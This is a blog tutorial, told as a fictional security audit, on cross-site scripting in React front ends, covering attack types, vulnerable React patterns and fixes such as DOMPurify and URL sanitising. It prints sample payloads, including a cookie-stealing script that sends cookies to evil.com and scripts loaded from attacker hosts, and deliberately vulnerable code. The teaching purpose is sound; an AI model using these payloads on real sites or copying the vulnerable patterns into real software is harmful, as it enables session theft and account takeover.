SoatDev IT Consulting
SoatDev IT Consulting
  • About us
  • Expertise
  • Services
  • How it works
  • Contact Us
  • News
  • August 16, 2023
  • Rss Fetcher

Vulnerabilities and solutions

Cyber crime (Image licensed to the author)

Today’s story is about the “XSS” gang. It’s a gang known for its cyber-criminal attacks, particularly XSS or “Cross-Site Scripting” attacks.

This time, the gang attacked the website of a large company called “Appliance Garden.” The company enlisted the services of the cybersecurity startup “Cyber Avengers” to help identify the security flaw, fix it and establish a defense strategy for the future.

The “Cyber Avengers” team must perform an audit and provide a report highlighting these points:

*️⃣ How an “XSS” attack works (flows, types, and risks)

*️⃣ Causes of this “XSS” attack (identified security vulnerabilities).

*️⃣ Possible solutions to fix these vulnerabilities.

*️⃣ A security guideline for future developments and developers.

Ultimately, the report must be sent to the technical manager of “Appliance Garden” to organize the teams who will make the necessary corrections.

So, let’s follow “Cyber Avengers” auditors in their investigations and report. Here we go!

General Concepts About “XSS” Attacks

The “Cyber Avengers” auditors and the “Appliance Garden” lead developer met to analyze, brainstorm and write the report together.

The “Cyber Avengers” contributors are Steve, John, and Sarah. Three advanced security experts.

Cross-Site Scripting (XSS)

Below is the exchange that took place:

➖ “Can you explain what an XSS attack is”? asked the “Appliance Garden” lead developer.

➖ “Well, a Cross-Site Scripting attack occurs when a piece of malicious code (usually JavaScript) is injected into a web page to harm the end user, said Steve,” a security engineer.

➖ “But how can the attacker inject the malicious code when we are the coders, and the servers we use are well secured,” asked the lead developer.

➖ “It’s a good question. So, this code is usually inserted at the end of the URI (Uniform Resource Identifier) as a parameter or by exploiting a feature such as an input form, search field, or comment input field,” replied Steve.

➖“So, if I understand correctly, a web page or web application is vulnerable to XSS if it uses unsanitized or uncontrolled user inputs,” said the lead developer.

➖ “Exactly, but not only!” replied Steve. “XSS can also happen when displaying dynamic data received from the backend without cleaning or sanitizing it. ”

➖ “Indeed, the XSS attack has three essential forms: Stored XSS, Reflected XSS, and DOM-based XSS,” said John, another security engineer. To fully understand, let’s look at these examples together:

🟩 Reflected XSS: arises when an application receives data in an HTTP request and includes that data within the immediate response in an insecure (unsanitized) way:

  • Suppose a website has a search function that receives the user-supplied search term in a URL parameter.
  • A victim clicks on the following link:
www.<sometrustedvulnerablexsssite>.com/search.asp?term=<script>alert('reflected - owned')</script>
  • The link posts a search query from the client to the web server.
  • The server returns the search result that contains the JavaScript posted earlier in the search query:
……<script>alert('reflected - owned')</script>…..
  • The client’s browser interprets the string as a script and executes it:
Cross-site scripting (XSS) — ENISA (europa.eu)
  • This attack can target web servers’ error messages or search results that return all or part of a user’s input.
  • In addition, Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.

🟩 Stored XSS: the malicious script is stored on the vulnerable web server. The injected script is then permanently stored on the web pages and returned to any user who accesses the web page containing the script.

A common example of this type of attack is when an attacker posts a specially crafted comment on a forum:

  • The attacker posts the following in a comment section of someone’s blog:
"Great article, keep it up !<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
  • The victim visits someone’s blog post that contains the attacker’s comment.
  • The victim’s browser interprets part of the attacker’s comment as an HTML tag containing a JavaScript script:
<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
  • This will run badscript.js on the victim’s browser:
Cross-site scripting (XSS) — ENISA (europa.eu)

🟩 DOM-based XSS: this attack is possible if the web application writes data to the Document Object Model (DOM) without proper sanitization. The attacker can manipulate this data to include XSS content on the web page, for example, malicious JavaScript code.

Let’s look at this code:

<html>
<head>
<title>Custom Page </title>
...
</head>
Main Page for
<script>
var position = document.URL.indexOf("pageName=") + 8;
document.write(document.URL.substring(position,document.URL.length));
</script>
...
</html>

🔺This code becomes dangerous if the attacker embeds a malicious script in the URL: http://www.example.com/userdashboard.html#pageName=<script>Some Malicious Script</script>.

🔺The attacker would also encode the URL payload so that it is not obvious that it contains a script.

🔺A DOM-based XSS attack is often a client-side attack, and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they will never even see the attack.

🔺DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).

🔺Also, assigning data to innerHTML instructs the browser to parse and render that data. As a result, the browser will treat embedded HTML as code, potentially causing a DOM-based XSS vulnerability.

🔺Some dangerous HTML attributes and methods:

 element.innerHTML = "<HTML> Tags and markup";
element.outerHTML = "<HTML> Tags and markup";
document.write("<HTML> Tags and markup");
document.writeln("<HTML> Tags and markup");

➖ “Thanks, John, that’s very clear,” said the lead developer. “Now, how can the attacker exploit the XSS attack? What can he do in the victim’s browser, knowing the browser has a sandboxed architecture?”

➖ “Oh, he can do a lot of serious things!” replied John. Potential consequences of cross-site scripting attacks include:

🔺 Redirecting a user to a malicious website.

🔺 Access user browsing history and clipboard contents.

🔺 Perform web browser-based attacks (such as crashing the browser).

🔺 Obtain the cookie information of a user logged into a website.

🔺 Steal the login session token, allowing the attacker to interact with the application as the victim without knowing their password.

🔺 Force the user to send requests to a server controlled by the attacker.

🔺 Edit page content.

Here are several examples of XSS attacks:

// Stealing Cookies Using XSS
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>


<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>


<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>


<!-- background attribute -->
<body background="javascript:alert("XSS")">


<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">


<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">


<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">


<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">


<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">


<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

➖ “OH MY GOD! This is what happened to our customers!” said the lead developer. “All because of bad practices and a lack of control over input fields!”

➖ “Nevertheless, I still have a question,” added the lead developer. “We use React as a technology in our frontends, and what is known about React is that it does not execute an HTML code, but it displays it as an ordinary string (text). How the XSS attack remains possible, then?”

➖ “It’s a very good question,” said Steve. “The answer to this wonderful question will be the subject of the next section. Sarah, our React application security specialist, will explain how we can bypass React’s default security layer after the coffee break.”

We resume discussions after the team’s coffee break. See you soon! ☕

React: the default security layer

After the refreshment break, the team resumed investigations and discussions:

➖ “Before the break, we talked about a very important point about React. Sarah, can you explain how things work in React and how we can bypass security?” said Steve.

➖ “Of course,” said Sarah.

➖ “Unlike Vanilla HTML or jQuery, where code is imperative, React is based on a declarative approach: we don’t directly manipulate the DOM. Instead, we declare ‘what we want to show,’ and React figures out ‘how to update the DOM,’” added Sarah.

Think of getting into a taxi and telling the driver where you want to go instead of telling them exactly where to turn. It’s the driver’s job to get you there; they might even know some shortcuts you haven’t considered! Reacting to Input with State — React

Here is a small example of a React code:

import { useState } from "react";


const FavoriteColor = () => {
const [color, setColor] = useState("red");

return (
<>
<h1>My favorite color is {color}!</h1>
<button
type="button"
onClick={() => setColor("blue")}
>Blue</button>
</>
)
}

export default FavoriteColor;

Without any DOM manipulation, the result of running this code will be:

A small example of a React code (Image by the author)

So accessing DOM with React is a bad practice!

➖ “This characteristic is very interesting; it eliminates a good percentage of possible cases of XSS attacks,” said Steve.

➖ “Exactly, there are still other interesting features. Let’s have a look!” said Sarah.

➖ “By default, React DOM escapes any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything not explicitly written in our application. Everything is converted to a string before being rendered, which helps prevent XSS (cross-site-scripting) attacks,” added Sarah.

Let’s take a look at this example of injected malicious code:

const App = (props) => {
const maliciousCode = '<script> Malicious Script </script>';
return (
<div className='App'>
<h1>Hello React.</h1>
<h2>Start editing to see some magic happen!</h2>
{maliciousCode}
</div>
);
}

It will be converted to a simple string (text) before being displayed:

Hello React.
Start editing to see some magic happen!
<script> Malicious Script </script>

The script is not parsed and interpreted.

➖ “Very cool feature!” said Steve.

➖ “What about URLs?” John asked.

➖ “It’s a very good question,” said Sarah. If React detects the use of a javascript: URL during development, it will show a browser console warning stating that future versions of React will prevent such behavior:

Preventing XSS in React (Part 1): Data binding and URLs (pragmaticwebsecurity.com)

The downside here is that it’s a warning only.

And here’s where we will open the subject: how can we bypass React’s secure-by-default character in React? It is obvious there are not only javascript: URLs to manage or only static data to master. Also, we do not all have the same “clean code” level to guarantee a purely declarative.

In addition to insecure URLs, we can bypass React’s default security via these mechanisms:

🔺dangerouslySetInnerHTML

🔺Dynamic property injection

🔺Escape Hatches

🔺CSS, especially when using css-in-js

🔺Vulnerable and old dependencies

“But first, we will continue after the lunch break,” said Sarah, looking at her watch.

➖ “Yes, I confirm!” said Steve.

Wow, what an informative morning! We resume, like the team, after the break. See you soon! 🍕

Identified Security Vulnerabilities

After the break, the team resumes the exchanges:

➖ “I suggest you analyze the company’s React code together, Sarah, and each time we find a vulnerability, you can explain it to us,” suggested Steve.

➖ “Of course, it’s a good idea!” replied Sarah. “Let’s start by analyzing the first page.”

➖“OH MY GOD! I see a dangerous dangerouslySetInnerHTML ,” exclaimed the lead developer. “Sarah, can you explain the risk of using it?”

dangerouslySetInnerHTML

Here is the vulnerable code the team has identified:

return (<p dangerouslySetInnerHTML={{__html: review}}></p>);

This code renders a review with some HTML format (bold, italic, …).

unicef/material-slate: Rich text editor based on Slate for Material UI (React) (GitHub.com)

The code snippet shown above is insanely insecure. It renders all HTML in the data, regardless of whether the code is benign or dangerous!

This vulnerable code can be exploited to execute malicious scripts. Here is an example:

const post = {
// Imagine this content is stored in the database.
content: `<img src="" onerror='alert("you were hacked")'>`
};

export default function MarkdownPreview() {
// 🔴 SECURITY HOLE: passing untrusted input to dangerouslySetInnerHTML
const markup = { __html: post.content };
return <div dangerouslySetInnerHTML={markup} />;
}

The code embedded in the HTML will run. A hacker could use this security hole to steal user information or perform actions on their behalf!

dangerouslySetInnerHTML: An object of the form { __html: ‘<p>some html</p>’ } with a raw HTML string inside. Overrides the innerHTML property of the DOM node and displays the passed HTML inside. This should be used with extreme caution! If the HTML inside isn’t trusted (for example, if it’s based on user data), you risk introducing an XSS vulnerability. Common components (e.g., <div>) — React

➖ “Sarah, Sarah, parsing the HTTP requests, I found a JSON backend response that contains the attribute, dangerouslySetInnerHTML, and this JSON is passed directly to a React API React.creatElement. Is it possible to transform a JSON into a React and then HTML?” John asked.

➖“Yes, and that’s the subject of the next section,” replied Sarah.

Dynamic property injection

React.createElement syntax:

React.createElement(type,{props},children);

type – the type of HTML tag we are using (such as 'div' or 'span').
props - the props argument must either be an object or null.
children – optional ...children: Zero or more child nodes.

React.creatElement serves as an alternative to writing JSX.

There’s another React API that looks a lot like React.creatElement: cloneElement — React. It is exposed to the same vulnerabilities described below.

➖ “I think you’re starting to identify the vulnerability when using this API; it’s the props parameter of type object. In JavaScript, you can have an object by declaring an object natively or by receiving a JSON object from the backend, or by transforming a string into an object via JSON.parse,” said Sarah.

Here is the vulnerable code the team has identified:

// backend JSON response
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "<p>Lorem ipsum dolor <b>sit</b> amet consectetur adipisicing elit. <i>Enim ex a</i></p>"
}
}


// the React code
return React.createElement("div", reviewProps);

This flaw can be exploited to inject malicious code:


// example 1
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "lorem ipsum <img src="nonexistent.png" onerror="alert('mailicious message');" />"
}
}

// example 2
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "lorem <b onmouseover="alert('mouseover');">ipsum</b>"
}
}

➖ “All the attacker needs to do is provide a props object that contains a dangerouslySetInnerHTML property. When the parser sees this property, it will use the provided value as the HTML code for the rendered element!” Sarah added.

➖ “Sarah, is what we saw for React.creatElement also true for these APIs: useRef , createRef and findDOMNode?” asked the lead developer. “Because they all imperatively manipulate the DOM. I also found snippets of code using these APIs.”

➖ “Another good question! And yes, these APIs can be exploited to inject malicious code. Let’s move on to the next section. We will see this case in detail,” replied Sarah.

Escape Hatches

➖ “Generally, as we saw earlier, React abstracts away the details of the browser’s DOM and offers a higher-level API to render components,” said Sarah. “Nevertheless, that higher-level API is not always enough. In certain scenarios, developers need direct access to the native DOM elements.”

➖ “Sounds bad!” said the lead developer.

➖ “React offers an Escape Hatch, which provides the application direct access to native DOM elements. The problem with such an escape hatch is that it returns native DOM elements with their full API. These direct interactions can lead to XSS!” Sarah added. “useRef , createRef and findDOMNode are escape hatches that give access to native DOM elements.”

Here is the vulnerable code the team has identified:

// snippet 1
componentDidUpdate(prevProps, prevState) {
ReactDOM.findDOMNode(this).innerHTML = this.props.reviewData;
}


// snippet 2
const divRef=createRef();
useEffect(()=>{
if(userName) {
divRef.current.innerHTML=`User name is ${userName}`
}
}, [userName])

➖ “All the attacker has to do is provide a vulnerable reviewData or userName!” said Sarah.

➖“OMG, I want to relearn React from scratch and redo the whole app!” exclaimed the lead developer.

➖ “Don’t worry. After analyzing the code and identifying the vulnerabilities, I will share several solutions,” Sarah added.

➖ “All right, thanks, ”said the lead developer. “I have a question. Until now, we have only seen the HTML and JavaScript parts. Does this mean the CSS is not used to make injections?”

➖“Oh no!” replied Sarah. “It is, of course, exploited, especially with the css-in-js, which the application currently uses. Let’s move on to the next section.”

CSS injection

➖“css-in-js are like JavaScript evalfor CSS. They will take any input and evaluate it as CSS. The problem is that they will evaluate any entry, even if it is not secure!” said Sarah.

➖ “If, for example, the styled-components have props whose value is set by users. We need to manually sanitize the inputs. Otherwise, malicious users can inject arbitrary styles into other users’ pages,” Sarah added.

Here are some examples of attacks exploiting styled-components:

import styled from "styled-components";

const bad1 = (userInput) => {
const ArbitraryComponent = styled.div`
background: url(${
// ok: react-styled-components-injection
userInput
});
`
return ArbitraryComponent
}

const bad2 = (userInput) => {
const input = fooBar(userInput)

return styled.div`
background: url(${
// ok: react-styled-components-injection
input
});
`
}

const bad3 = (nevermind, {userInput}) => {
const input = '#' + userInput;

return styled.div`
background: ${
// ok: react-styled-components-injection
input
};
`
}

Going further, here’s what the documentation says:

Since styled-components allows you to use arbitrary input as interpolations, you must be careful to sanitize that input. Using user input as styles can lead to any CSS being evaluated in the user’s browser that an attacker can place in your application. styled-components: Advanced Usage

➖ “Thank you, Sarah! This is a case I had never thought of!” said the lead developer.

➖ “With pleasure,” replied Sarah. “Now, I think we’ve gone through all the source code: HTML, CSS, and JavaScript. Do you think there are still things to check?”

➖ “I think not,” replied the lead developer.

➖ “Me too,” John answered.

➖“ Me too,” Steve answered.

➖ “You are all trapped!” Sara said. “We analyzed internal files only. However, a web application needs some node modules to work. Some of them may be old, some deprecated, and some may include security vulnerabilities.”

➖ “You’re right,” answered the others.

Vulnerable dependencies

➖ “To identify dependencies with security vulnerabilities, I suggest you run npm audit and see the generated report,” said Sarah.

npm audit
# npm audit report

ejs <3.1.7
Severity: critical
ejs template injection vulnerability - https://github.com/advisories/GHSA-phwq-j96m-2c2q
No fix available
node_modules/webpack-bundle-analyzer-brotli/node_modules/ejs
webpack-bundle-analyzer-brotli *
Depends on vulnerable versions of ejs
node_modules/webpack-bundle-analyzer-brotli

semver <=5.7.1 || 6.0.0 - 6.3.0 || 7.0.0 - 7.5.1
Severity: moderate
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
fix available via `npm audit fix`
node_modules/@npmcli/arborist/node_modules/semver
node_modules/@npmcli/fs/node_modules/semver
node_modules/@npmcli/git/node_modules/semver
node_modules/@npmcli/metavuln-calculator/node_modules/semver
node_modules/css-loader/node_modules/semver
node_modules/jest-snapshot/node_modules/semver
node_modules/node-gyp/node_modules/semver
node_modules/normalize-package-data/node_modules/semver
node_modules/npm-install-checks/node_modules/semver
node_modules/npm-package-arg/node_modules/semver
node_modules/npm-pick-manifest/node_modules/semver
node_modules/npm-registry-fetch/node_modules/semver
node_modules/read-package-json/node_modules/semver
node_modules/semver
node_modules/sigstore/node_modules/semver
node_modules/tuf-js/node_modules/semver
node_modules/yeoman-environment/node_modules/semver
node_modules/yeoman-generator/node_modules/semver

word-wrap <1.2.4
Severity: moderate
word-wrap vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-j8xg-fqg3-53r7
fix available via `npm audit fix`
node_modules/word-wrap

4 vulnerabilities (2 moderate, 2 critical)

To address issues that do not require attention, run:
npm audit fix

Some issues need review, and may require choosing
a different dependency.
npm notice
npm notice New minor version of npm available! 9.5.1 -> 9.8.1
npm notice Changelog: https://github.com/npm/cli/releases/tag/v9.8.1
npm notice Run npm install -g npm@9.8.1 to update!
npm notice

As we can see, some packages have a “critical severity” that needs to be addressed immediately.

The severity of the vulnerability, determined by the impact and exploitability of the vulnerability in its most common use case. About audit reports | npm Docs (npmjs.com)

About audit reports | npm Docs (npmjs.com)

➖ “It’s time to look at the solutions for the various identified vulnerabilities. Here we go!” said Sarah.

Possible Solutions

Sanitize HTML: DOMPurify

// Import DOMPurify
import DOMPurify from 'dompurify';

// Sanitize the review
return (<p dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(review)}}></p>);

HTML sanitization will strip dangerous HTML from a variable and return a safe string of HTML.

OWASP recommends DOMPurify for HTML Sanitization.

innerText instead of innerHtml

// unsafe
myRef.current.innerHTML = userData;
ReactDOM.findDOMNode(this).innerHTML = userData;

// safe
myRef.current.innerText = userData;
ReactDOM.findDOMNode(this).innerText = userData;

The best way to fix DOM-based cross-site scripting is to use the right output method:

  • innerHTML instructs the browser to parse and render that data. As a result, the browser will treat embedded HTML as code, potentially causing a DOM-based XSS vulnerability.
  • innerText property suffices to avoid injection vulnerabilities. innerText instructs the browser to simply use the data as text, regardless of its contents. If the data contains any HTML characters, they will be displayed to the user, not rendered by the browser.

Here is what OWASP recommends.

Sanitize URL

The team can take inspiration from this code to sanitize URLs:

const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^&:/?#]*(?:[/?#]|$))/gi;

/** A pattern that matches safe data URLs. It only matches image, video, and audio types. */
const DATA_URL_PATTERN = /^data:(?:image/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video/(?:mpeg|mp4|ogg|webm)|audio/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;

function _sanitizeUrl(url: string): string {
url = String(url);
if (url === "null" || url.length === 0 || url === "about:blank") return "about:blank";
if (url.match(SAFE_URL_PATTERN) || url.match(DATA_URL_PATTERN)) return url;

return `unsafe:${url}`;
}

export function sanitizeUrl(url = "about:blank"): string {
return _sanitizeUrl(String(url).trim());
}

The URL sanitizer ensures that dynamically-created URLs are safe to use in the application.

Validate input on arrival

Inputs should be validated as strictly as possible when they are first received from a user.

Examples of input validation include:

  • If a user submits a URL that will be returned in responses, validating that it starts with a safe protocol such as HTTP and HTTPS. Otherwise, someone might exploit your site with a harmful protocol like javascript or data.
  • If a user supplies a value that is expected to be numeric, validate that the value contains an integer.
  • Validating that input contains only an expected set of characters.

Input validation should ideally work by blocking invalid input. An alternative approach, of attempting to clean invalid input to make it valid, is more error prone and should be avoided wherever possible. How to prevent XSS | Web Security Academy (portswigger.net)

Encode data on output

Encoding must be applied directly before user-controllable data is written to a page.

In an HTML context, non-whitelisted values must be converted to HTML entities:

  • < converts to: &lt;
  • > converts to: &gt;

In a JavaScript string context, non-alphanumeric values should be Unicode-escaped:

  • < converts to: u003c
  • > converts to: u003e

CSS.escape

The CSS.escape() method provides a convenient way to escape a string so that it conforms to the CSS selector requirements. This is especially useful when dynamically building a CSS selector based on (untrusted) user input.

document.querySelector(`#${CSS.escape(id)} > img`);
document.querySelector(`a[href="#${CSS.escape(fragment)}"]`);
document.querySelector('#' + CSS.escape(location.hash.slice(1)))

ESLint

The linter must be activated and used.

These plugins also need to be added and configured:

  • jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint (github.com)
  • jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint (github.com)
  • eslint-community/eslint-plugin-security: ESLint rules for Node Security (github.com)

Dependencies updates

Dependencies must be analyzed often, and critical vulnerabilities must be dealt with urgently and as a priority. You can use npm audit.

Continuous security checks

We recommend that the rules and precautions detailed above be checked continuously with a continuous integration tool or by using a health check tool.

➖ “At this level, the audit report has been finalized. It is now necessary to make a checklist that developers must follow during their development to guarantee an acceptable level of security. It’s time to collect all your proposals!” says Steve.

Security Guidelines

☑️ Accessing the DOM with React is bad practice (regardless of the API used: dangerouslySetInnerHTML , React.creatElement , useRef , createRef or findDOMNode )

☑️ If you have no alternative but to use dangerouslySetInnerHTML, it’s mandatory to sanitize the HTML string using DOMPurify.

☑️ It’s mandatory to sanitize each URL used.

☑️ Validate inputs on arrival.

☑️ Encode data on output.

☑️ Any JSON that will be directly exploited by React.creatElement must be purified first.

☑️ Any content assigned to one of these APIs must first be sanitized:
innerHtml, outerHTML, write and writeln.

☑️ If a style depends on a variable given by the user, the content of the variable must first be sanitized and the style with CSS.escape.

☑️ Run the npm audit command often to identify vulnerable dependencies.

☑️ The linter must be activated, set up well, and used effectively.

☑️ Defensive programming is a technique that helps to write codes that are more resistant to bugs and vulnerabilities.

☑️ Security issues must be continuously checked.

At this level, the security auditors have completed their analyzes and sent the report to the technical manager of “Appliance Garden,” who will take over for the rest.

Conclusion

What an informative day with the “Appliance Garden” and the “Cyber Avengers” teams. They shared many explanations and tips regarding the security of the frontend web and, in particular, with React.

We should always “correctly” use an API or a framework and read their documentation and recommendations carefully.

It is also necessary to adopt a defensive approach in our development: we must not trust the code, the inputs and the outputs. We must check and sanitize as much as possible.

Developers are smart, but hackers are smarter: they know the API and its flaws. We must not forget this axiom!

I hope this article has encouraged you to review your codes to improve security. As for me, see you soon for another trip! ♥️

Want to Connect? 

You can find me at GitHub: https://github.com/helabenkhalfallah


Cross-Site Scripting (XSS) Attack in Modern Frontend Web was originally published in Better Programming on Medium, where people are continuing the conversation by highlighting and responding to this story.

Previous Post
Next Post

Recent Posts

  • Early AI investor Elad Gil finds his next big bet: AI-powered rollups
  • Fitting a parabola to an ellipse and vice versa
  • Sam Altman biographer Keach Hagey explains why the OpenAI CEO was ‘born for this moment’
  • Day 4 of TechCrunch Sessions: AI Trivia Countdown — Flex your brain, score big on tickets
  • Video game union announces first contract with Microsoft

Categories

  • Industry News
  • Programming
  • RSS Fetched Articles
  • Uncategorized

Archives

  • June 2025
  • May 2025
  • April 2025
  • February 2025
  • January 2025
  • December 2024
  • November 2024
  • October 2024
  • September 2024
  • August 2024
  • July 2024
  • June 2024
  • May 2024
  • April 2024
  • March 2024
  • February 2024
  • January 2024
  • December 2023
  • November 2023
  • October 2023
  • September 2023
  • August 2023
  • July 2023
  • June 2023
  • May 2023
  • April 2023

Tap into the power of Microservices, MVC Architecture, Cloud, Containers, UML, and Scrum methodologies to bolster your project planning, execution, and application development processes.

Solutions

  • IT Consultation
  • Agile Transformation
  • Software Development
  • DevOps & CI/CD

Regions Covered

  • Montreal
  • New York
  • Paris
  • Mauritius
  • Abidjan
  • Dakar

Subscribe to Newsletter

Join our monthly newsletter subscribers to get the latest news and insights.

© Copyright 2023. All Rights Reserved by Soatdev IT Consulting Inc.